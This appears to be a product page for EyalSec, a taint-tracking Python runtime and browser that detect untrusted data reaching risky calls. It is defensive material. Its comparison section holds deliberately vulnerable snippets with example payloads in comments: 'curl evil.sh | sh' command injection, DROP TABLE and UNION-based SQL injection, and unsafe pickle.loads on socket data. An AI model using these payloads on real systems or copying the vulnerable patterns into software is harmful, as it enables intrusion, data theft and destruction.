The Python you already run, watching for attacks as your code executes.
EyalSec is a security-hardened build of Python, es-python. You install it next
to your normal Python and run your existing programs and libraries through it
unchanged. As your code runs, EyalSec watches for untrusted data reaching a
risky action, and either reports it to your dashboard or blocks it before it
runs.
That untrusted-data-reaches-a-sink pattern is how most real-world attacks work: SQL injection, command injection, path traversal, and insecure deserialization. EyalSec has already flagged two critical CVEs in Django.
- Source - where untrusted data enters: a network socket, a file, standard input, environment variables and command-line arguments, or code another user can write.
- Sink - a risky action it flows into: running a system command, opening a file, running a database query, or deserializing data.
- Report, or Report and Raise - chosen per machine. Report logs the event to your dashboard and lets the program continue. Report and Raise does both: it logs the event and stops the risky action before it runs, so an attack is blocked, not just recorded.
Your source code and files never leave the machine. Only the detection event is sent to your dashboard: the sink that fired, the stack trace, where the data came from, and the data that triggered it.
Detection runs inside your program as it executes rather than beside it: 173 sink call sites, each watching one dangerous operation.
That covers SQL injection, command and argument injection, path traversal, zip and tar extraction escapes, insecure deserialization, server-side code injection, SSRF, CRLF header injection, log forging, template injection, XXE, XPath and LDAP filter injection, NoSQL injection, weak hashes and KDFs, timing-unsafe comparison, predictable tokens, and hardcoded credentials reported at the point they leave the process.
It covers the drivers and libraries real applications use, not just the
standard library. EyalSec ships instrumented builds of psycopg2, psycopg v3,
mysqlclient, mariadb, oracledb and python-ldap, each with the sink on
the statement string. On top of that, 42 third-party libraries are covered
by declarative adapters: Django, Jinja2, SQLAlchemy, PyMongo, Redis, Neo4j,
asyncpg, PyJWT, PyYAML, Paramiko and more. When an upstream release renames a
method out from under an adapter, the coverage miss is reported to your
dashboard rather than silently dropped.
The reason security tools go unused is not that they miss things. It is that they report too much.
- A sink fires on the statement, never on a bound parameter. Correctly parameterized code stays silent no matter how hostile the value is.
- EyalSec knows what a sanitizer fixed, and for which sink. Escaping is not
global:
urlencodeneutralizes a URL context and does nothing for SQL, and the engine grades it that way rather than suppressing a real finding or reporting one that was already fixed. - A detection means the data actually arrived. Not that a code path exists, and not that a pattern matched.
Where a detector cannot be certain, it says so instead of overclaiming. LDAP is the clearest case: the protocol has no bind-parameter mechanism, so even correctly escaped input is still spliced into the filter string. That event reports "attacker data reached the LDAP filter", not "injection proven".
Other tools read your source and guess, watch the network edge, or restrict syscalls. EyalSec is the interpreter, so it follows untrusted data all the way to the dangerous call, on every code path, whether or not an HTTP request, a scanner, or a crash ever exposes it. Here is where each class of tool falls short, with a Python example EyalSec catches and they don't.
| Category | What they do | Where they fall short | EyalSec's edge |
|---|---|---|---|
| RASP | Hook the app to match request payloads against dangerous calls | Loses the input once it's split, sliced, or rejoined | Follows the taint through every string transform to the sink |
| WAF / edge | Pattern-match malicious HTTP at the network boundary | Injection that never rides HTTP, a file or queue feed | Taints every input channel, not just the HTTP edge |
| SAST | Statically scan source for risky patterns | Which flagged path is really exploitable | Fires only when live taint hits a sink |
| DAST / fuzzing | Probe a running app from outside / fuzz inputs | Sinks on branches it never reaches | Taint-guided fuzzing hits every branch |
| SCA / dependency | Flag known-CVE dependencies | Unknown vulns; whether the CVE is truly hit | Confirms attacker data reaches the CVE |
| Sandboxing / isolation | Restrict syscalls / isolate the process | App-level injection (sees only syscalls) | Tracks app-level taint to the sink |
| EDR / runtime threat | Detect malicious behavior at the OS/host level | The exploit before it fires | Flags tainted data before the call |
RASP inspects the request, but not what the app does to it next:
msg = sock.recv(4096).decode() # request body -> tainted
arg = " ".join(msg.split()[1:]) # split, slice, rejoin -> still tainted
# attacker sends: ping x; curl evil.sh | sh
os.system("traceroute " + arg) # SINK -> es-python raisesWhy RASP misses: RASP flags a call only when its argument still matches a
payload it logged from the request. The app splits, slices, and rejoins that
input first, so the bytes reaching os.system match nothing RASP saw. es-python
taints the data itself, so the mark rides through every transform to the sink.
A CSV dropped by an SFTP partner feed never crosses the edge:
row = open("/inbox/orders.csv").readline() # file bytes -> tainted; the WAF never saw them
# attacker planted a row: '; DROP TABLE users; --
db.execute("SELECT * FROM t WHERE id='" + row + "'") # SINK -> es-python raisesWhy WAF / edge misses: the record arrives as a file from a batch drop, never over HTTP, so the edge has no packet to inspect. es-python taints every input channel, files included, so the bytes stay marked all the way to the SQL sink.
The sink is chosen by a runtime key, so static dataflow loses it:
ACTIONS = {"copy": shutil.copy, "run": os.system, "stat": os.stat}
name, arg = sock.recv(4096).decode().split(":", 1) # socket -> tainted
# attacker sends: run:reboot; curl evil | sh
ACTIONS[name](arg) # callable resolved at runtime -> SINK -> es-python raisesWhy SAST misses: which callable ACTIONS[name] resolves to is a runtime
value; a static engine can't prove the tainted arg reaches os.system.
es-python sees the actual call.
A successful SQL injection that never crashes:
expr = sock.recv(4096).decode() # socket -> tainted
# expr = 1=1 UNION SELECT password FROM admins
db.execute("SELECT * FROM logs WHERE " + expr) # returns rows, exits 0 -> SINKWhy DAST / fuzzing misses: the query runs cleanly and returns rows, zero crash signal for a coverage fuzzer, which records a "pass". es-python flags the injection semantically, no crash required.
Your own deserialization bug, which no third-party advisory describes:
cookie = sock.recv(4096) # cookie arrives over the wire -> tainted
pickle.loads(cookie) # SINK -> es-python raisesWhy SCA / dependency misses: SCA matches your lockfile against a CVE database.
A deserialization bug you wrote yourself is in no advisory feed, so it stays
silent. es-python catches the live tainted-bytes to pickle.loads flow.
The sandbox must permit execve for the legitimate dump, which lets the injected
command through too:
subprocess.run(["/usr/bin/pg_dump", "mydb"]) # legitimate, must be allowed
name = sock.recv(4096).decode() # socket -> tainted
subprocess.run("tar czf /tmp/" + name + ".tgz /data", shell=True) # SINKWhy Sandboxing / isolation misses: seccomp/gVisor decide per syscall; to allow
pg_dump they must permit execve, which lets the injected tar; ... through
too. es-python gates only the tainted exec and leaves the clean one alone.
es-python raises before any payload executes:
blob = sock.recv(65536) # socket -> tainted
pickle.loads(blob) # SINK -> raises before the gadget detonatesWhy EDR / runtime threat misses: EDR detects malicious behavior after the fact, a spawned shell or a beacon. es-python raises before the pickle gadget runs, so there is no behavior left for the EDR to observe.
The pattern above is not specific to Python. es-chromium is a browser that
carries the same tracking as you browse, so that data an attacker can
influence, arriving from the URL, from postMessage, from a cookie or from web
storage, is followed until it reaches a DOM sink such as innerHTML, eval or
a script src. The tracking is part of the browser itself; nothing is injected
into the page, no extension is installed, and nothing is asked of the site.
The difference from a scanner is the same difference. A scanner guesses at
which sinks are reachable, without the third party widgets loaded and without
the state a previous visit left behind. es-chromium is the browser, so it
reports a flow that actually happened, with the payload attached and the
attacker controlled characters marked inside it.
See it on a real page: vulnerable-javascript, a deliberately vulnerable dashboard hosted at a live origin, where 21 flows across 8 sources and 18 sinks are each reachable from a single URL.
Sign in, add a machine on your dashboard, and run the one-line installer it
gives you. es-python installs next to your normal Python; then run your program
through it, no code changes. Full guide: eyalsec.com/docs.
How is it different from a static scanner or linter? A static scanner reads your source and guesses at possible bugs before it runs. EyalSec watches real execution and only reports untrusted data that actually reaches a risky action, so it finds real, exploitable issues with far fewer false positives.
Do I have to change my code? No. es-python runs your existing code,
frameworks, and packages exactly as they run today.
Does it work with Django, Flask, and my libraries? Yes. Your frameworks and packages run unchanged.
Does it send my code anywhere? No. Your source and files stay on the machine; only the detection event posts to your dashboard.
- Website - what EyalSec does and how it installs
- Documentation - install, run, read events, configure rules
- Pricing - size machines and monthly events for a price
- Security - the security model; your code stays on your machine
- es-python - the runtime: what it catches, how it installs, and how it differs from a scanner
- vulnerable-python - a deliberately vulnerable Flask app where each endpoint wires one taint source into one sink. Run the same unchanged file under your normal Python and it is a normal exploitable app; run it under es-python and every attack that reaches a sink is reported. The fastest way to see the difference yourself.
- es-chromium - the browser: it tracks taint as you browse and reports DOM-XSS as a flow rather than as a guess
- vulnerable-javascript - a deliberately vulnerable retail dashboard, live at a real origin, built as the demonstration target for es-chromium. Every flaw sits inside a feature that has a reason to exist, and every flow is reachable from one URL.
Python is a trademark of the Python Software Foundation. EyalSec is not affiliated with or endorsed by the PSF.
